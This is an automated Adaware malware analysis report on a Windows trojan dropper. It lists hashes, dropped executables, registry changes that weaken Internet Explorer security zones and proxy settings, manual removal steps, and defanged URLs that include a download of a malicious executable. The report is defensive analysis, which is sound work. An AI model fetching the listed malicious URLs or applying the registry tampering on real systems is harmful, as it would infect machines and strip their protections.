Trojan.Win32.IEDummy_d9018d11d0 – Adaware

Trojan.Win32.IEDummy.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: d9018d11d0df65cf544a80d75f92df26

SHA1: e37260c6da85df40d021835a33c83facd18c0d8f

SHA256: ecdf8c67f187c58f67d34ddb60bea1cb1f4443c9862b3db9a1a60cc723d4cd10

SSDeep: 12288:dY20AljdZgBPfKfYn45R2Vyl0ZhGGIctH3yRkEk H4H8hcVO:y20gPgFKAnFVjf7HCRkcYH8hL

Size: 653069 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: UPolyXv05_v6

Company: KLWUT

Created at: 2014-12-02 12:07:30

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

mkra.exe:188
windowsten.exe:1772
AVTO.exe:1752
%original file name%.exe:860
gamest0rage.exe:228

The Trojan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process AVTO.exe:1752 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\AVTOVISTREL.exe (238276 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\M3XRF1PW\AVTOVISTREL[1].exe (123588 bytes)

The process %original file name%.exe:860 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\gamest0rage.exe (5431 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AVTO.exe (5105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\mkra.exe (5431 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\windowsten.exe (5431 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\__tmp_rar_sfx_access_check_466750 (0 bytes)

The process gamest0rage.exe:228 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1090EJ2L\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z8CRBF4X\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\M3XRF1PW\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\YPP4GHMZ\desktop.ini (67 bytes)

Registry activity

The process mkra.exe:188 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B4 FF 44 DE EA 65 F4 12 8B 51 45 F6 5D C5 3A EA"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process windowsten.exe:1772 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "54 35 70 D3 64 6E 1B DC DA 74 ED 71 14 AF C1 1E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process AVTO.exe:1752 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "06 A1 23 10 50 4F 8C 16 D8 34 5E 2E B9 79 8B 7F"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"AVTOVISTREL.exe" = "AVTOVISTREL"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:860 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "99 BA 68 AA E6 3A 22 50 6A 76 E8 2B DA EE 06 7E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"windowsten.exe" = "windowsten"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"mkra.exe" = "mkra"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"AVTO.exe" = "AVTO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\WinRAR SFX]
"C%%DOCUME~1Âm%LOCALS~1%Temp" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"gamest0rage.exe" = "gamest0rage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process gamest0rage.exe:228 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F3 E3 A8 FA 07 F6 60 1A D5 50 8A 63 B5 39 49 02"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

Dropped PE files

MD5	File path
0c50f813ebac826df7c03344faa20531	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\AVTO.exe
b0f41d73f403646b511ebf37cec4e99d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\AVTOVISTREL.exe
90c50846a30dd4298eee422febd0ea46	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\gamest0rage.exe
0ecf783e6c949e2a15bfcea2a4304e47	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\mkra.exe
af0895db500f636d9c15a35e7a40d587	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\windowsten.exe
b0f41d73f403646b511ebf37cec4e99d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\M3XRF1PW\AVTOVISTREL[1].exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
mkra.exe:188
windowsten.exe:1772
AVTO.exe:1752
%original file name%.exe:860
gamest0rage.exe:228
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\AVTOVISTREL.exe (238276 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\M3XRF1PW\AVTOVISTREL[1].exe (123588 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\gamest0rage.exe (5431 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AVTO.exe (5105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\mkra.exe (5431 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\windowsten.exe (5431 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1090EJ2L\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z8CRBF4X\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\M3XRF1PW\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\YPP4GHMZ\desktop.ini (67 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	165274	165376	4.65979	d8f33064c4ef0afbbef55bd2cf99d4bd
.rdata	172032	20435	20480	3.73351	097554bc8b9e06ca48884fe0bcde4562
.data	192512	136232	5632	2.40282	1197a4db46cf8f74c620261213b213c9
.rsrc	331776	279236	279552	4.56241	01dc7d8d013d32826c504903176d1993

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 3
b58cfb8c866c11d5e800e4cdac49abb8
f4885968bd7ffb4ae7c6efa0b2b3a868
c287dff6a0bfd949e6f47cdb16b918af

Network Activity

URLs

URL	IP
hxxp://windowsten.su/	37.140.192.32
hxxp://www.iammaddog.ru/mywork/AVTOVISTREL.exe	83.243.73.222
hxxp://windowsten.su/wp-content/themes/mesocolumn/style.css	37.140.192.32
hxxp://windowsten.su/wp-content/themes/mesocolumn/lib/scripts/superfish-menu/css/superfish.css?ver=10.5.6	37.140.192.32
hxxp://windowsten.su/wp-content/themes/mesocolumn/lib/scripts/tabber/tabber.css?ver=10.5.6	37.140.192.32
hxxp://windowsten.su/wp-content/themes/mesocolumn/lib/scripts/fontawesome/css/font-awesome.css?ver=10.5.6	37.140.192.32
hxxp://windowsten.su/wp-content/themes/mesocolumn/lib/scripts/fontawesome/css/font-awesome-ie7.css?ver=10.5.6	37.140.192.32
hxxp://googleadapis.l.google.com/css?family=Open Sans:400,400italic,600,600italic,700,700italic,300,300italic&ver=4.1.8
hxxp://windowsten.su/wp-includes/js/jquery/jquery.js?ver=1.11.1	37.140.192.32
hxxp://windowsten.su/wp-content/themes/mesocolumn/lib/scripts/fontawesome/font/fontawesome-webfont.eot?	37.140.192.32
hxxp://gstaticadssl.l.google.com/s/opensans/v13/cJZKeOuBrn4kERxqtaUH3fY6323mHUZFJMgTvxaG2iE.eot
hxxp://windowsten.su/engine/classes/js/jquery.js	37.140.192.32
hxxp://windowsten.su/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1	37.140.192.32
hxxp://googlecode.l.googleusercontent.com/svn/trunk/html5.js?ver=10.5.6
hxxp://windowsten.su/engine/classes/js/jqueryui.js	37.140.192.32
hxxp://windowsten.su/index.html	37.140.192.32
hxxp://windowsten.su/engine/classes/js/dle_js.js	37.140.192.32
hxxp://windowsten.su/engine/classes/highslide/highslide.js	37.140.192.32
hxxp://windowsten.su/style/css/bootstrap.min.css	37.140.192.32
hxxp://windowsten.su/wp-content/plugins/generalstats/vendor/jshashtable/hashtable.js?ver=3.0	37.140.192.32
hxxp://windowsten.su/style/css/styles.css	37.140.192.32
hxxp://windowsten.su/style/css/rgba-fallback.css	37.140.192.32
hxxp://windowsten.su/style/js/html5shiv.js	37.140.192.32
hxxp://windowsten.su/style/fonts/glyphicons-halflings-regulard41d.eot?	37.140.192.32
hxxp://windowsten.su/wp-content/plugins/generalstats/js/refresh.js?ver=3.20	37.140.192.32
hxxp://googleapis.l.google.com/ajax/libs/webfont/1/webfont.js
hxxp://windowsten.su/style/js/respond.min.js	37.140.192.32
hxxp://windowsten.su/wp-content/uploads/2015/09/1e214f20f9cca2943fdcb3954f1e14a8.jpg	37.140.192.32
hxxp://windowsten.su/wp-content/uploads/2015/09/a20aa272156d62a57edefdd48da62f48.jpg	37.140.192.32
hxxp://windowsten.su/wp-content/uploads/2015/09/ada9a46040f3022a8488c48b974afda0.jpg	37.140.192.32
hxxp://windowsten.su/engine/editor/scripts/webfont.js	37.140.192.32
hxxp://windowsten.su/wp-content/uploads/2015/08/dakota-fanning-dakota-fanning-6727.jpg	37.140.192.32
hxxp://windowsten.su/style/bg/blurred-background-1.jpg	37.140.192.32
hxxp://pagead46.l.doubleclick.net/pagead/js/adsbygoogle.js
hxxp://windowsten.su/wp-content/uploads/2015/09/4192eab47979fb89f376c7641263ceb6.jpg	37.140.192.32
hxxp://windowsten.su/engine/editor/css/default.css	37.140.192.32
hxxp://windowsten.su/wp-content/uploads/2015/09/4bd07d7f0ead211d9bf4f4e05b0ce5a4.jpg	37.140.192.32
hxxp://j.contema.ru/Contema.js	89.249.21.7
hxxp://windowsten.su/templates/torrent-windows/style/engine.css	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/style/styles.css	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/js/scripts.js	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/websymbols/websymbols-regular-webfont.eot?	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/js/slider.js	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/spacer.gif	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/header_h_bg.png	37.140.192.32
hxxp://windowsten.su/style/images/webmoney.png	37.140.192.32
hxxp://windowsten.su/style/images/warface.png	37.140.192.32
hxxp://j.contema.ru/get.ashx?cid=5209&format=block&items=3&width=300&height=500&ilogo=1&font_family=arial&link_color=2063e8&border=1&border_color=141bf7	89.249.21.7
hxxp://informers.sinoptik.ua/informers_js.php?title=4&wind=2&cities=100524901&lang=ru	212.42.76.150
hxxp://informers.sinoptik.ua/img/t.gif	212.42.76.150
hxxp://windowsten.su/templates/torrent-windows/images/sep_15.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/sep_24.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/logo_bg.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/sep_25.png	37.140.192.32
hxxp://counter.yadro.ru/hit?t57.11;r;s127684632;uhttp://gamest0rage.ru/index.html;0.25825136608109023	88.212.196.104
hxxp://s019.radikal.ru/i640/1508/b0/729c4064319d.png	81.176.238.131
hxxp://s020.radikal.ru/i701/1505/be/f4528c2cfd19.png	81.176.238.163
hxxp://s019.radikal.ru/i615/1505/80/0cc3a7c6f208.png	81.176.238.131
hxxp://s011.radikal.ru/i318/1508/5c/fa3c206624a1.png	81.176.238.129
hxxp://s017.radikal.ru/i422/1508/15/de18c106edda.png	81.176.238.140
hxxp://s017.radikal.ru/i443/1505/45/cc7ce6aea5ef.png	81.176.238.140
hxxp://s020.radikal.ru/i712/1508/f7/cd706a18ba56.png	81.176.238.163
hxxp://windowsten.su/style/images/crossfire.png	37.140.192.32
hxxp://windowsten.su/style/images/steam.png	37.140.192.32
hxxp://s011.radikal.ru/i309/1508/6a/58a5f3409156.png	81.176.238.129
hxxp://counter.yadro.ru/hit?q;t57.11;r;s127684632;uhttp://gamest0rage.ru/index.html;0.25825136608109023	88.212.196.104
hxxp://windowsten.su/style/images/other.png	37.140.192.32
hxxp://s011.radikal.ru/i304/1508/ac/e4d1dcc22d86.png	81.176.238.129
hxxp://informers.sinoptik.ua/img/informers/logo-t2.png	212.42.76.150
hxxp://windowsten.su/engine/data/emoticons/lol.gif	37.140.192.32
hxxp://informers.sinoptik.ua/img/informers/hlc-t2.png	212.42.76.150
hxxp://windowsten.su/engine/data/emoticons/bully.gif	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/arrow_13.png	37.140.192.32
hxxp://informers.sinoptik.ua/img/informers/s-informers-t2.png	212.42.76.150
hxxp://informers.sinoptik.ua/img/informers/term-t2.png	212.42.76.150
hxxp://windowsten.su/engine/skins/default.js	37.140.192.32
hxxp://informers.sinoptik.ua/img/informers/flc-t1.png	212.42.76.150
hxxp://windowsten.su/templates/torrent-windows/images/arrow_15.png	37.140.192.32
hxxp://informers.sinoptik.ua/img/informers/frc-t1.png	212.42.76.150
hxxp://windowsten.su/style/js/easypiechart-data.js	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/block_comm.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/sep_21.png	37.140.192.32
hxxp://windowsten.su/wp-includes/js/hoverIntent.min.js?ver=r7	37.140.192.32
hxxp://counter.yadro.ru/hit?t58.10;r;s127684632;uhttp://mkra.ru/;0.990526831055492	88.212.196.104
hxxp://j.contema.ru/agcb.css	89.249.21.7
hxxp://counter.yadro.ru/hit?q;t58.10;r;s127684632;uhttp://mkra.ru/;0.990526831055492	88.212.196.104
hxxp://j.contema.ru/getimage.ashx?imgfolder=72733171-0542-43d6-871b-3d3f96c5af37&id=31&extension=1&adv=banner	89.249.21.7
hxxp://windowsten.su/templates/torrent-windows/images/usr.png	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/sep_14.png	37.140.192.32
hxxp://windowsten.su/style/js/bootstrap-datepicker.js	37.140.192.32
hxxp://windowsten.su/templates/torrent-windows/images/ico.png	37.140.192.32
hxxp://windowsten.su/uploads/posts/2015-08/thumbs/1440585354_1440520435_0_11e929_4957bdf0_orig.jpeg	37.140.192.32
hxxp://windowsten.su/wp-content/themes/mesocolumn/lib/scripts/modernizr/modernizr.js?ver=10.5.6	37.140.192.32
